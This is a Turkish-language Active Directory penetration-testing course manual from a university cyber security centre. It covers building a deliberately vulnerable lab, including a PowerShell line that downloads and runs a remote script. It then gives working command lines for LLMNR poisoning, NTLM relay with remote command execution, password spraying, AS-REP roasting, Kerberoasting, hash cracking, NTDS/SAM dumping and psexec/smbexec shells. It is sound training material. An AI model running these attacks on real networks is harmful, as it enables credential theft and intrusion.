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1. BÜSİBER Hakkında 
 
BÜSİBER Boğaziçi Üniversitesi Yönetim Bilişim Sistemleri Siber Güvenlik Merkezi 1 Aralık 2016 
tarihinde İstanbul Kalkınma Ajansı Destekli bir proje olarak hayata geçmiştir. Sektöre yetişmiş insan 
gücü kazandırmak, kamu siber güvenliğine destek olmak ve siber güvenlikte yerli çözümlerin 
önemini vurgulamak öncelikli hedeflerimizdir.  
 
Bu amaçla üniversite öğrencileri için ücretsiz siber kamplar düzenliyoruz, kamu kurumlarına 
eğitimler veriyoruz. Ülkemizdeki siber güvenlik ekosistemine destek olmak için yerli siber güvenlik 
üreticilerini, akademiyi, sivil toplum kuruluşlarını ve kamuyu bir araya getirdiğimiz zirveler 
düzenliyoruz. Proje sürdürülebilirliğini sağlamak için kamu ve özel sektöre yönelik SOME ve siber 
güvenlik eğitimleri, ISO 27001 danışmanlığı, KVKK teknik danışmanlığı, TS 13638 standardına uygun 
sızma testi hizmetleri veriyoruz. 
 
https://siber.boun.edu.tr 
 
 
 
 
 

2. Eğitim Hakkında 
 
Active Directory Sızma Testi Eğitimi, ülkemizde siber güvenlik ile ilgilenen kişiler ve bu alanda çalışıp teknik 
alanda kendini geliştirmek isteyenler için BÜSİBER tarafından hazırlanıp açık kullanıma sunulmuş ücretsiz 
bir eğitimdir. Eğitimin seviyesi, standartlarımıza göre ORTA DERECELİ olarak değerlendirilmiştir. Eğitime 
başlamadan önce, öğrencinin temel seviye ağ bilgisi, temel seviye active directory bilgisi/sistem yöneticiliği 
bilgisi ve temel seviye sızma testi bilgisine sahip olması önerilir. 
 
Sınıf ortamında gerçekleştirilen bu eğitimin destekleyici PDF versiyonu, bazı temel active directory çalışma 
prensibi (Kerberos çalışma mekanizması, NTLM çeşitleri ve kullanım alanları) konuları konusunda eksik 
olabilir. 

 

2.1. Eğitim Senaryosu 
Öğrenci, BUSIBER isimli firmaya Active Directory sızma testi gerçekleştirecektir. Sızma testini 
gerçekleştirirken, BUSIBER firmasının yerel ağına Linux tabanlı bir makine ile bağlanıp ilgili kontrolleri kendi 
bilgisayarından yapacaktır. 
 
 
 
 
 
 
 
 
 

https://siber.boun.edu.tr/
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3. Lab Kurulumu İçin Dosyaların İndirilmesi 
 
Eğitim esnasında öğretilen saldırıları pratiğe dökebilmek için, zafiyetli bir active directory ortamı kurulması 
gerekiyor. Eğitim dökümanı, VirtualBox sanallaştırma uygulaması ile aşağıdaki işletim sistemleri kullanılarak 
hazırlandı; 
 

• Windows Server 2019 

• Windows 10 

• Kali Linux 2020.4 
 

3.1. VirtualBox İndirme İşlemi 
Virtualbox, Oracle firması tarafından geliştirilen ücretsiz ve açık kaynaklı bir sanallaştırma uygulamasıdır. 
Uygulamanın son sürümüne aşağıdaki linkten erişebilirsiniz: 
 
https://www.virtualbox.org/wiki/Downloads 
 

3.2.  Windows Server 2019 İndirme İşlemi 
Microsoft, Windows sistemleri deneme amacıyla 180 günlük lisanslı şekilde Evaluation Center üzerinden 
ücretsiz bir şekilde indirilmesine izin veriyor. 
 
https://www.microsoft.com/en-us/evalcenter/ 
 
 
 

 
 
 
 
 
 
 
 
 
 
 
 

https://www.virtualbox.org/wiki/Downloads
https://www.microsoft.com/en-us/evalcenter/
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Windows Server 2019’u seçtikten sonra, seçeneklerden ISO yu seçip devam edelim 
 
 

 
 
Açılan kutucuklara rastgele değerler vererek indirme işlemine devam edebilirsiniz. 
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Dili English olarak bırakıp indirme işlemine devam ediniz. 
 

 
 
Artık Windows Server 2019’u ISO halinde indirebilirsiniz. 
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3.3.  Windows 10 İndirme İşlemi 
Windows 10 işletim sistemini de Evaluation Center üzerinden indirebilirsiniz. 
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Windows 10 Enterprise’a tıklayıp işleme devam ediniz. 
 

 
ISO – Enterprise’ı seçip devam ediniz. 
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Önemli ! İndirme işlemi esnasında mutlaka 64 bit’I seçiniz. 
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3.4.  Kali Linux 2020.4 İndirme İşlemi 
Kali Linux işletim sistemini VirtualBox kullanımı esnasında daha basit bir şekilde kurmak için OVA (Open 
Virtual Appliance) formatında indireceğiz. Aşağıdaki linkten Kali Linux’un geliştirici Offensive Security 
tarafından sağlanan Kali OVA sürümlerini bulabilirsiniz. 64 bitlik versiyonu indiriniz. 
 
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/ 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
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4. Lab Kurulumu 
4.1. Domain Controller (Windows Server 2019) Kurulumu ve Yapılandılırması 

Virtualbox uygulamasını açıp, sağdan YENİ simgesine tıklayınız ve çıkan sayfadan sanal makinenin ismini 
DC01 ve sürümünü Windows Server 2019 olarak seçiniz. 
 

 
 
 
 
 
 
Kullandığınız ana makinenin yeterliliğine göre RAM atayınız (Kurulumun hızlı gerçekleşmesi için 4GB 
Önerilir) 
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Sanal Disk sayfasında “Şimdi sabit bir disk oluştur” seçeneğini işaretleyip devam ediniz. 
 

 
 
 
 
 
 
 
Sabit disk dosya türünü VDI olarak işaretleyip devam ediniz. 
 

 
 
 
Fiziksel sabit diskte depolama seçeneğini Değişken olarak ayrılan işaretleyip devam ediniz. 
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Dosya yeri ve boyutunu varsayılan ayarlarda bırakıp devam ediniz 

 
 
Kurulum tamamlandıktan sonra, ek ayarları gerçekleştirmek için DC01 sekmesine bir kere tıklayıp Ayarlar 
butonuna tıklayınız. 
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Ana bilgisayarınızın donanımsal özelliklerine göre işlemci atayabilirsiniz. 
 

 
 
 
Ağ sekmesine tıklayıp DC01 cihazını NatNetwork ağına dahil ediniz. 
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Windows Server 2019 kurulumunu gerçekleştirebilmek için, sanal makinemize indirilen ISO dosyasını takıp 
normal bir Windows kurulumu gibi devam etmemiz gerek. Bunun için Depolama sekmesine tıklayıp ISO 
dosyasını SATA Bağlantı Noktası 1’e takacağız. 
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İşlem gerçekleştikten sonra sanal makinemizi başlatabiliriz. 
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Windows Server 2019 kurulum sayfasında, Keyboard’I Turkish Q olarak seçip diğer seçenekleri 
değiştirmeden devam ediniz. 
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Install now’a tıklayarak kurulum işlemine başlayalım. 
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Önünüze çıkan seçeneklerden “Windows Server 2019 Datacenter Evaluation (Desktop Experience)” ‘I 
seçerek devam ediniz. 
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Önünüze çıkan seçeneklerden Custom: Install Windows Only (advanced) seçeneğine tıklayıp devam ediniz. 
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Windows Server 2019’u kuracağınız disk alanını seçip devam ediniz. 
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Kurulum bittikten sonra, ek ayarları yapmaya geçebiliriz. 
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Sunucuya giriş yapacağımız bilgiler, zafiyetli ortam kurmak adına basit bir şekilde verilecektir. 
Administrator:1q2w3e4R bilgilerini girip devam ediniz 
 
(1q2w3e4R, gerçek hayatta karşılaştığımız bir Domain Admin parolasıydı.) 
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Kurulum tamamlandıktan sonra, sunucuya giriş yapabilmemiz için VirtualBox ekranında Input sekmesinin 
altında sanal makineye CTRL+ALT+DEL tuşlarını gönderiniz. Az önce oluşturduğumuz 1q2w3e4R parolasıyla 
sunucuya giriş yapınız. 
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Sunucuya giriş yaptıktan sonra, sağ tarafta çıkan “Bu bilgisayarın ağdaki diğer cihazlar tarafından 
bulunmasını istiyor musunuz?” uyarısına EVET(YES) butonuna tıklayarak izin veriniz. 
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Sunucu kurulumunu tamamladıktan sonra, sıra sunucuya Active Directory Domain Services ve DNS 
özellikleri atamaya geliyor. Bu servisleri kurduktan sonra, sunucuyu Domain Controller rolüne 
yükselteceğiz. 
 
Bu işlemleri gerçekleştirmeden önce, sunucuya Statik IP Adresi atamamız ve DNS sorgu sunucusunu 
değiştirmemiz gerekiyor.  
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Change adapter options seçeneğine tıklayıp devam ediniz; 
 

 
 
Ağ Arayüzüne sağ tıklayıp, Properties sekmesini açınız. 
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Internet Protocol Version 4 (TCP/IPv4) ayarlarına çift tıklayınız. 
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İlgili ayarları yaptıktan sonra kaydedip çıkış yapınız. Ağ Ayarları bittikten sonra, Server Manager 
uygulamasını açarak servis ve rol atama işlemlerine başlayalım. 
 

 
 
 
Add roles and features’a tıklayarak devam ediniz. 
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Select server roles sayfasından “Active Directory Domain Services” ve “DNS Server” kutucuklarını 
işaretleyip devam ediniz. 
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Add Features’a tıklayıp devam ediniz. 
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Add Features’e tıklayıp devam ediniz. 
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Çıkan uyarıya YES diyerek devam ediniz. 
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Kurulumun bitmesini bekleyiniz. 
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Kurulumlar bittikten sonra, Server Manager uygulamasını açarak çıkan bildirime tıklayıp “Promote this 
server to a domain controller” yazısına tıklayınız. 
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Yeni bir Active Directory ortamı kuracağımız için, Add a new forest seçeneğini işaretleyip alan adını veriniz. 
Eğitim senaryosu gereği kök alan adı “busiber.local” olarak atanmıştır. Ne yaptığınızı biliyorsanız, 
değiştirmekte serbestsiniz. 
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DSRM parolası atayarak diğer ayarları varsayılanda bırakabilirsiniz. 
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NetBIOS çağrı adını “BUSIBER” olarak atayıp devam ediniz. 
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Yapılandırma dosyalarının konumlarını varsayılan olarak bırakıp devam ediniz. 
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Next’e tıklayıp devam ediniz. 
 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



48 

BOĞAZİÇİ ÜNİVERSİTESİ YBS SİBER GÜVENLİK MERKEZİ 
 
Bu adıma kadar herhangi bir problem ile karşılaşmadıysanız, kurulum işlemine devam edebilirsiniz. 
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Sunucu yeniden başladığında BUSIBER\Administrator:1q2w3e4R bilgileri ile giriş yapınız. 
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Domain Controller sunucumuzun ismini değiştirmek için, Dosya Gezginini açıp, This PC’ye sağ tıkladıktan 
sonra Properties’e tıklayıp Change Settings’e tıklayınız. 
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Sunucuya giriş yaptıktan sonra, Powershell açınız. 
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Komut satırından yeni bir Domain Kullanıcısı ekleyelim. Kullanıcımızın adı “yusuf.akca” ve parolası 
“1q2w3e4R” olsun 
 
net user yusuf.akca 1q2w3e4R /ADD /DOMAIN 
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Domain Controller rolü atanmış sunucumuzu zafiyetli hale getirmek için, WazeHell 
(https://twitter.com/safe_buffer) tarafından yazılmış vulnad.ps1 Powershell scriptini kullanacağız. 
 
https://github.com/WazeHell/vulnerable-AD 
 
IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-
AD/master/vulnad.ps1")); 
Invoke-VulnAD -UsersLimit 25 -DomainName "busiber.local" 

 
 
 
 
 

https://twitter.com/safe_buffer
https://github.com/WazeHell/vulnerable-AD
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Powershell betiği ilgili ayarları tamamladığı zaman, aşağıdaki gibi bir çıktı almamız gerekiyor. 
 

 
 
Bu zafiyetleri, neden ortaya çıktıklarını, nasıl suistimal edilebilecekleri ve alınabilecek önlemleri eğitimin 
ileriki safhalarında detaylı bir şekilde inceleyeceğiz. 
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4.2. Domain Computer (Windows 10) Kurulumu ve Yapılandırılması 
 
VirtualBox uygulamasında YENİ simgesine tıklayınız ve sanal makine adını MUHASEBE01_BUSIBER veriniz. 
Makinenin türünü Windows, sürümünü ise Windows 10 (64-bit) olarak seçip devam ediniz. 
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Ana makinenizin donanım özelliklerine göre uygun bir şekilde RAM ayarlarını yapıp devam ediniz. 
 

 
 
 
 
Şimdi sanal bir sabit disk oluştur seçeneğine tıklayarak devam ediniz. 
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Sabit disk dosyası türünü VDI olarak işaretleyip devam ediniz. 
 

 
 
 
Değişken olarak ayrılan seçeneğini işaretleyip devam ediniz. 
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Dosya yeri ve boyutu kısmını varsayılan ayarlarda bırakıp devam ediniz. 
 

 
 
İlk kurulum işlemi bittikten sonra, Ayarlar simgesine tıklayın. 

 
 
 



60 

BOĞAZİÇİ ÜNİVERSİTESİ YBS SİBER GÜVENLİK MERKEZİ 
 
Ağ Ayarlarından, Windows 10 sanal makinesini NatNetwork ‘e bağlayın. 
 

 
 
 
 
Daha sonra Depolama sekmesinden Sata Bağlantı Noktası 1’e indirdiğimiz Windows 10 ISO dosyasını 
takacağız. 
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Sanal makine açıldıktan sonra kurulum işlemine Install now diyerek devam ediniz. 
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Lisans sözleşmesini kabul edip kuruluma devam ediniz. 
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Custom: Install Windows only (advanced) seçeneğini işaretleyip devam ediniz. 
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Yükleme bittikten sonra Klavye ayarını Turkish Q olarak seçip devam ediniz. 
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Bir sonraki sayfada, “Domain join instead” butonuna tıklayın. 
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Tahmin edilebilir ve kırılabilir güvensiz bir parola girelim: 1q2w3e4R 
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Güvenlik sorularını rastgele değer girip devam edin. 
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Gizlilik ayarlarını kapatarak devam ediniz. 
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Oturum açtıktan sonra, Dosya Gezginini açıp This PC’ye sağ tıklayarak Properties seçeneğine tıklayın. 
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Rename this PC butonuna tıklayarak, bilgisayara MUHASEBE01 ismini verin. 
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Bilgisayarı yeniden başlatın. 
 

 
 
 
Eğitim esnasında herhangi bir ağ problemi ile karşılaşmamak için, Windows 10 bilgisayarında ağ 
bağdaştırıcısı ayarları yapalım. Sağ tarafta Ağ simgesine sağ tıklayım “Open Network&Internet settings” e 
tıklayınız. 
 

 
 
 
 
Çıkan sayfada, Change adapter options ‘a tıklayınız. 
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Ağ bağdaştırıcısına sağ tıklayıp Properties seçeneğine tıklayınız. 
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Windows 10 sanal makinesine Statik IP olarak 192.168.0.10 atayalım ve Domain Controller sunucumuzu 
DNS sunucusu olarak girelim. 
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Ağ ayarlarını yaptıktan sonra, Windows 10 istemci bilgisayarı Domain ortamına ekleyiniz. Dosya Gezginine 
tıklayıp This PC dosyasına sağ tıklayın ve Properties sekmesine ilerleyin. Aşağı inerek “Advanced system 
settings” seçeneğini bulun ve tıklayın. Çıkan sayfada Computer Name sekmesine tıklayın ve “Change” 
butonuna tıklayın. 
 
 

 
 
 
 
 
 
 
 
 
 
 
 



79 

BOĞAZİÇİ ÜNİVERSİTESİ YBS SİBER GÜVENLİK MERKEZİ 
 
Member of Domain’I seçin ve Active Directory kurulum esnasında atadığınız kök alan adını girin.  
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Bilgisayarı Domain’e alabilmek için Administrator kullanıcısının bilgilerini giriniz. 
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Bilgisayar açıldıktan sonra, Other user’ı seçip düşük yetkili bir Domain Kullanıcısı ile giriş yapınız. 
 
yusuf.akca@busiber.local 
1q2w3e4R 
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Antivirus/EDR/IPS-IDS atlatma bu eğitimin kapsamına alınmadığından, Windows 10 bilgisayarında güvenlik 
ayarlarını kapatınız. Eğitimin ilerleyen aşamalarında savunma atlatma ile alakalı genel öneriler verilecektir. 
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4.3. Kali Linux 2020.4 Kurulumu ve Yapılandırılması 
Dosya indirme işlemi esnasında Kali Linux 2020.4 işletim sistemini OVA dosyası olarak indirdiğimiz için, 
üzerine çift tıklayarak sanal makineyi direkt olarak VirtualBox’a aktarabilirsiniz. 
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Son olarak, Kali Linux 2020.4 sanal makinesini Ağ ayarlarından NatNetwork’e ekleyiniz. 
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5. Active Directory Saldırılarına Giriş – Bilgi Toplama 
 
Yerel ağ sızma testi esnasında geçerli bir Domain User hesabına sahip değilsek, Domain ortamı hakkında 
öğrenebileceklerimiz sınırlı. Geçerli bir kullanıcı elde etmeden önce yerel ağda aşağıdaki bilgileri toplamak 
sızma testinin ileriki safhalarında bize yardımcı olacaktır; 
 

• DNS (Alan Adı). 

• NetBIOS Çağrı Adı. 

• Sunucu ve istemcilerin SMB versiyonları. 

• Kimlik Denetimi olmadan erişilebilen dosya paylaşımları. 
 

5.1.  nbstat 
nbstat, hedef bilgisayarların NetBIOS adlarını tespit eden bir nmap betiğidir. 
 
sudo nmap -sU --script nbstat.nse -p137 192.168.0.0/24 
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5.2.  Metasploit smb_scanner 
Metasploit’in içinde bulunan  auxiliary/scanner/smb/smb_version hedef bilgisayarların desteklediği SMB 
versiyonlarını, yetkili domain’I ve şifreleme kabiliyetlerini tespit eden bir modüldür. 
  

 
 

5.3.  CrackMapExec 
Active Directory sızma testlerinin isviçre çakısı olarak nitelendirilen CrackMapExec, bilgi toplama 
aşamasında hedef bilgisayarların işletim sistemi versiyonu, alan adı ve hostname gibi bilgileri tespit edebilir.  
 
cme smb 192.168.0.0/24 
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6. LLMNR Poisoning 
 
Link Local Multicast Name Resolution (LLMNR), DNS alternatifi olarak yerel ağda isim çözümlemesi ve 
bilgisayar tanımlama amacıyla kullanılan bir protokoldür ve bu protokol RFC 4795 koduyla tanımlanmıştır. 
LLMNR trafiği UDP 5355 ve UDP 137 portları ile gerçekleşir. 
 
Bir bilgisayar, bilmediği bir kaynağa erişmek istediği zaman LLMNR protokolü ile yerel ağda yayın 
(broadcast) yaparak kaynağın kim olduğunu sorar ve yetkili bir şekilde ilk cevap veren kaynak ile iletişimini 
sürdürür. 
 
Bir saldırgan, LLMNR’ın çalışma mantığından faydalanarak bu yayın(broadcast)lara yanıltıcı bir şekilde yanıt 
verebilir ve istemci bilgisayardan kimlik doğrulama amacıyla NetNTLMv2 hash’ini talep edebilir. Saldırgan 
NetNTLMv2 hash’ini ele geçirdikten sonra Brute Force ve Dictionary Attack gibi yöntemlerle parolayı ele 
geçirebilir. 
 

 

Saldırıyı lab ortamında gerçekleştirmek için, Responder isimli aracı kullanacağız. Responder ile LLMNR 
çağrılarına yanıt verip istemci bilgisayarları yanıltarak kendi bilgisayarımıza NetNTLMv2 haslerini 
göndermelerini sağlayacak ve bu hashleri hashcat aracı ile kırıp parolaları ele geçirebileceğiz. 
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responder -I eth0 
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LLMNR Broadcast’I tetiklemek için, MUHASEBE01 bilgisayarı üzerinde Çalıştır uygulamasını açın ve yerel 
ağda var olmayan bir kaynağa erişmeye çalışın 
 

 
 
 
 
 
 
Responder uygulaması, MUHASEBE01 bilgisayarının LLMNR çağrısına yanıltıcı bir şekilde yanıt verecek ve 
NetNTLMv2 Hash’ini kimlik doğrulama amacıyla talep edecek. Ele geçirilen bu bilgiler terminalinize 
düşecektir.  
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Yakaladığınız NetNTLMv2 hashlerini her biri tek satır olacak şekilde kaydediniz. 
 

 
 
 
Hashcat aracı ile ele geçirdiğimiz NetNTLMv2 hash’ini çözüp parolayı bulabiliriz. 
 
sudo hashcat -m 5600 hash.txt wordlist.txt 
 

 
 
 
yusuf.akca kullanıcısının parolası kolay ve sık kullanılan bir parola olduğu için hashcat kısa bir süre içerisinde 
şifreyi çözdü. 
 

 
 
Test esnasında yakalanan NetNTLM hashlerini /usr/share/responder/logs/ dizininde bulabilirsiniz. 
 
 
LLMNR Poisoning yöntemi ile geçerli bir kullanıcı elde ettikten sonra, Active Directory ortamında saldırı 
arayüzü büyük ölçüde genişleyecek ve daha kapsamlı bilgiye sahip olabileceğiz. 
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7. NetNTLMv1/v2 Relay 
 
Sızma testi esnasında yerel ağda yakaladığımız NetNTLMv1/v2 hashlerini, çözmeye gerek duymadan 
Mitm(Main in the Middle) saldırısı gerçekleştirerek ikinci bir makineye yönlendirebiliriz ve yönlendirdiğimiz 
makinede oturum elde ederek komut çalıştırabilir, SAM veritabanını elde edebilir ve post-exploitation 
işlemleri gerçekleştirebiliriz. NetNTLMv1/v2 hashlerini ikinci bir makineye yönlendirmek için, hash’i 
yönlendirdiğimiz makinede SMB Signing özelliğinin Off (kapalı) olması gerekiyor. İstemci makinelerde bu 
özellik varsayılan olarak kapalı gelmektedir.  
 
 
 

 
 
 
 
 
 
SMB Signing durumunun Off olduğu makineleri bulmak için, CrackMapExec ile otomatik olarak liste 
oluşturabiliriz. 
 
cme smb 192.168.0.0/24 --gen-relay-list busiber.txt 
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Hedef makinelerin listesini txt olarak elde ettikten sonra, gelen istekleri ikinci bir araca yönlendireceğimiz 
için Responder aracının yapılandırma ayarlarında değişiklik yapacağız. 
 
sudo nano /etc/responder/Responder.conf 
 

 
 
 
 
Yapılandırma dosyasında SMB ve HTTP sunucularını Off konuma getiriniz. 
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Ayarların doğru yapıldığı ve saldırının lab ortamında çalıştığını doğrulamak için, test amaçlı olarak 
ntlmrelayx aracına -c parametresi ile komut çalıştırmasını söyleyelim. -c parametresi sayesinde cmd.exe 
komutları çalıştırabilirsiniz. 
 
sudo ntlmrelayx.py -tf ipdosyası.txt -smb2support -c ipconfig 
 

 
 
 
 
DC01 Domain Controller makinesinde bağlantı tetiklemek için yerel ağda var olmayan bir kaynağa erişmeye 
çalışalım. 
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Eğer her şeyi doğru yaptıysak, DC01 makinesinden gelen Domain Admin haklarına sahip Administrator 
NetNTLMv2 oturumu ile MUHASEBE01 istemcisi üzerinde ipconfig komutu çalıştığını ve komutun çıktısının 
saldırgan bilgisayara döndüğünü göreceksiniz. 
 

 
 
 
ntlmrelayx aracını varsayılan olarak bıraktığımızda, saldırı başarılı gerçekleştiği durumda hedef 
bilgisayarlarda yerel SAM veritabanını çekerek NTLM hashlerini elde edebiliriz.   
 
sudo ntlmrelayx.py -tf hedef.txt -smb2support  
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8. Password Spraying 
 
Password Spraying, yaygın olarak kullanılan birkaç parolayla çok sayıda hesaba erişmeye çalışan bir saldırı 
türüdür. Active Directory testlerinde ilk kullanıcıyı elde ettikten sonra bütün kullanıcı isimlerini alabiliriz ve 
zayıf parola kullanıp kullanmadıklarını test edebiliriz. 
 
Sızma testi esnasında bir Domain kullanıcısı elde edildiği zaman, saldırı arayüzü büyük ölçüde 
genişlemektedir. Geçerli bir Domain kullanıcısıyla Domain hakkında bir çok şeyi öğrenebiliriz. 
 

• Domaindeki kullanıcılar 

• Parola politikası 

• Kullanıcı grupları 

• İşletim sistemi bilgileri 

• Domain hakkında genel bilgiler 

• SMB Paylaşım tespiti 
 

8.1. rpcclient 
rpcclient, istemci taraflı MS-RPC fonksiyonlarını uygulamak için geliştirilmiş bir araçtır. Bu araç sayesinde, 

Linux üzerinden Windows sistemlerle etkileşim kurabilir ve test için ihtiyacımız olan bilgileri edinebiliriz. 

 
rpcclient -U yusuf.akca 192.168.0.4 
 

 
 
rpcclient konsoluna geçerli bir Domain kullanıcısına eriştikten sonra, parola politikalarının tespiti için  
getdompwinfo komutunu kullanabiliriz. 
 

 
 
Password Spraying saldırısı esnasında parola politikalarına aykırı davrandığınız takdirde hesapların 
kilitlenme ihtimali var, bu yüzden test esnasında ağ ve sistem yöneticisiyle iletişim içerisinde olmanız 
tavsiye edilir. 
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enumdomusers komutu Password Spraying saldırısı için gerekli kullanıcı isimlerini tespit edebilirsiniz. 
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8.2. enum4linux 
enum4linux, Windows ve Samba sistemler hakkında bilgi tespiti için kullanabileceğiniz bir araçtır. Bu araç 
rpcclient, net, nmblookup ve smbclient araçlarının verdiği bilgileri tek bir çatı altında toplar ve Domain 
hakkında test esnasında yardımcı olabilecek bilgileri toplar. 
 
sudo enum4linux -u yusuf.akca -p 1q2w3e4R -a 192.168.0.4  
 

 
 
Çıktıyı incelediğimiz zaman, kullanıcı hesaplarını, parola politikalarını, kullanıcı gruplarını, domain 
bilgisayarlarını görebiliyoruz. 
 

 
 
Kullanıcı hesapları kısmına baktığımız zaman, Description(Açıklama) kısmında bir adet kullanıcının 
parolasının sızdığını gördük. Nadir de olsa ağ ve sistem yöneticileri tarafından Description kısmına 
parolaların not edildiğini gördük, kontrol etmekte fayda var. 
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rpcclient çıktısı olan kullanıcıları bir text dosyasına kaydedelim. 
 

 
 
cat domainusers.txt | awk {'print $1'} | cut -d "[" -f2 | sed 's/]$//' > usersparsed.txt 
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Text dosyasını her satırda bir adet kullanıcı bulunacak şekilde ayarladıktan sonra her satırda bir parola 
kalacak şekilde bir text dosyası hazırlayalım. 
 
Test esnasında karşılaştığımız parolaları bir text dosyasına ekleyelim. 
 

 
 
 
Password Spraying saldırısı için Metasploit içinde auxiliary/scanner/smb/smb_login modülünü kullanacağız. 
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İlgili modül ayarlarını yapalım. 
 

 
 
 
Password Spraying sayesinde yusuf.akca kullanıcısının kullandığı parolayı Administrator kullanıcısının da 
kullandığını tespit ettik. 
 

 
 
Ayrıca, bilgi toplama esnasında lu.jordan kullanıcısının Description kısmında bulunan parolanın hala geçerli 
bir parola olduğunu da tespit ettik. 
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9. AS-REP Roasting 
 
ASREPRoasting Kerberos preauth gerektirmeyen kullanıcıları etkileyen bir saldırıdır. Bir kullanıcı için 

Kerberos preauth gerekmediği zaman, yerel ağa erişimi olan herkes o kullanıcı için AS_REQ isteği 

gönderebilir ve AS_REP cevabı alabilir. AS_REP cevabının içeriğinde kullanıcının parolası ile oluşturulan 

anahtar ile şifrelenmiş bir mesaj bulunur. 

 

Bu mesajı ele geçiren bir saldırgan, kullanıcı şifresini çevrimdışı olarak kırılabilir ve parolayı elde edebilir. 

 

GetNPUsers.py -dc-ip 192.168.0.4 busiber.local/yusuf.akca -format hashcat -outputfile hashes  

 

 
 
 
Kerberos preauth gerektirmeyen kullanıcıların hashlerini hashcat ile kırabiliriz. 
 
hashcat -m 18200 hashes rockyou.txt 
 

 
 
 
 
İşlemin sonucunda 3 adet Kerberos preauth gerektirmeyen kullanıcıların parolalarını ele geçirdik. 
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10. Kerberoasting 
 
Kerberoasting, Active Directory'deki kullanıcı hesapları adına çalışan hizmetler için TGS biletlerini ele 

geçirmeye olanak sağlayan bir saldırıdır. TGS biletlerinin bir kısmı kullanıcı parolalarından türetilen 

anahtarlarla şifrelenir. Bir saldırgan, TGS biletlerini hash formatında ele geçirip, Brute Force ve Dictionary 

Attack gibi yöntemlerle hashleri kırarak kullanıcı parolalarını elde edebilir. 

 

Saldırıyı lab ortamında simüle edebilmek için, bir kullanıcı ekleyelim ve eklediğimiz kullanıcıya Service 

Principal Name atayalım. 

 

net user bilgin.metin 123456 /ADD /DOMAIN 

setspn -a DC01/bilgin.metin.busier.local:60111 BUSIBER\bilgin.metin 
 

 
 
 
 
 
 
Kerberoast saldırısından etkilenen kullanıcıları ve hashlerini tespit etmek için impacket araçlarından biri 
olan GetUserSPNs aracını kullanabiliriz. 
 
GetUserSPNs.py -request -dc-ip 192.168.0.4 ‘busiber.local/yusuf.akca’ -outputfile kerbhash 
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kerbhash text dosyasını açtığımızda bilgin.metin kullanıcısının TGS hashini görebiliriz. 
 

 
 
hashcat -m 13100 kerbhash rockyou.txt 
 

 
 
 
 
Hash kırma işlemi sonucu bilgin.metin kullanıcısının parolasını 123456 olarak tespit edebildik. 
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11. BloodHound 
 
BloodHound, Active Directory ortamındaki gizli ve genellikle istenmeyen ilişkileri ortaya çıkarmak için 
kullanılan görsel ve grafik tabanlı bir yazılımdır. Sızma testi esnasında, Active Directory ortamında güven 
ilişkileri, ACL, potansiyel saldırı yolları gibi bilgileri kolayca belirlemek için BloodHound'u kullanabiliriz. 
 
Verileri Linux tabanlı cihazımızdan elde edebilmek için BloodHound’un python ingestor’unu kullanacağız. 
Python ingestor’un elde ettiği bilgileri daha sonra Neo4j veritabanını kullanan BloodHound  
 
git clone https://github.com/fox-it/BloodHound.py.git 
 

 
  
cd BloodHound.py 
sudo pip install . 
 
 

 
 
 
Domain hakkında bilgileri edinebilmek için, geçerli bir kullanıcıyla ingestor’u çalıştıralım. 
 
bloodhound-python -ns 192.168.0.4 -d busiber.local -u yusuf.akca -p 1q2w3e4R -gc DC01.busiber.local -c 
all 
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BloodHound python ingestor’u gerekli Domain bilgilerini topladığında, çalıştırdığınız dizine 4 adet json 
dosyası oluşturacak. 
 

• domains.json 

• computers.json 

• users.json 

• groups.json 
 
BloodHound python ingestor’u Domain hakkında topladığı bu bilgiler sayesinde saldırı arayüzümüz 
genişlemiş olacak ve bu bilgileri grafik olarak anlamlandırdığımızda Domain içerisinde zafiyet teşkil edecek 
yapılandırmaları tespit edebileceğiz. 
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Github üzerinden BloodHound uygulamasını indirelim. 
 

 
 
 
BloodHound, neo4j altyapısını kullanmakta. Neo4j indirme işlemini gerçekleştirelim 
 
sudo apt update 
sudo apt install neo4j 
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İndirdiğimiz BloodHound uygulamasını çalıştıralım. 
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Neo4j veritabanının varsayılan kullanıcı bilgileri neo4j:neo4j 
 

 
 
BloodHound’u kullanabilmemiz için, neo4j veritabanının varsayılan parolasını değiştirmemiz gerek. 
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localhost:7474/browser/ 
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Neo4j parolasını değiştirdikten sonra, BloodHound uygulamasına giriş yapabiliriz. Giriş yaptıktan sonra 
bloodhound-python ingestor’unun topladığı bilgileri json formatında sisteme yükleyiniz. 
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İlgili dosyalar sisteme yüklendikten sonra, BloodHound içerisinde gelen varsayılan sorgular ile Domain 
hakkında daha fazla bilgi sahibi olabilir, saldırı arayüzünü genişletebilir ve zafiyet teşkil eden ilişkileri tespit 
edebilirsiniz. 
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12. secretsdump.py 
 
secretsdump.py, impacket araçlarının içerisinde hedefin SAM ve NTDS.dit veritabanını ele geçirmemize 
olanak sağlayan bir araçtır. Veritabanı içerisindeki kullanıcı hashlerini ele geçirdikten sonra yerel olarak 
BruteForce ve Dictionary Attack gibi saldırılarla bu hashleri çözüp parolaları elde edebiliriz veya hashleri 
çözmemize gerek kalmadan “Pass-The-Hash” yöntemini kullanarak hedef bilgisayarlarda oturum elde 
edebiliriz. 
 
 
 
secretsdump.py BUSIBER/Administrator:’1q2w3e4R’@192.168.0.4 
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13. Oturum Alma ve Komut Çalıştırma Yöntemleri 
13.1. PsExec 

 
psexec.py, Windows tarafında kullanılan PsExec aracının impacket araçlarının içinde python diliyle yazılmış 
bir versiyonudur. Sistem yöneticileri tarafından uzaktan komut çalıştırılmak için kullanılan PsExec aracını 
sızma testi esnasında bir sisteme sızıp oturum almak için kullanabiliriz. PsExec aracı hedef bilgisayara 
bağlandıktan sonra bir payload aracılığıya bağlantı verdiği için, AV/EDR gibi ürünlere yakalanma ihtimaliniz 
yüksek. 
 
psexec.py BUSIBER/Administrator@192.168.0.10 
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13.2. SMBExec 
 
SMBExec, PsExec’den farklı olarak hedef bilgisayara payload yükleyip çalıştırmak yerine SMB protokolü 

üzerinden bağlanıp DCE/RPC aracılığıyla belirtilen cmd.exe komutunu çalıştırıp, komutun çıktısını çalıştığı 

yerel bilgisayarda bir SMB sunucusu açarak iletişim kurma prensibine dayanan bir araçtır. 

 
smbexec.py BUSIBER/Administrator@192.168.0.19 
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13.3. Metasploit 
 
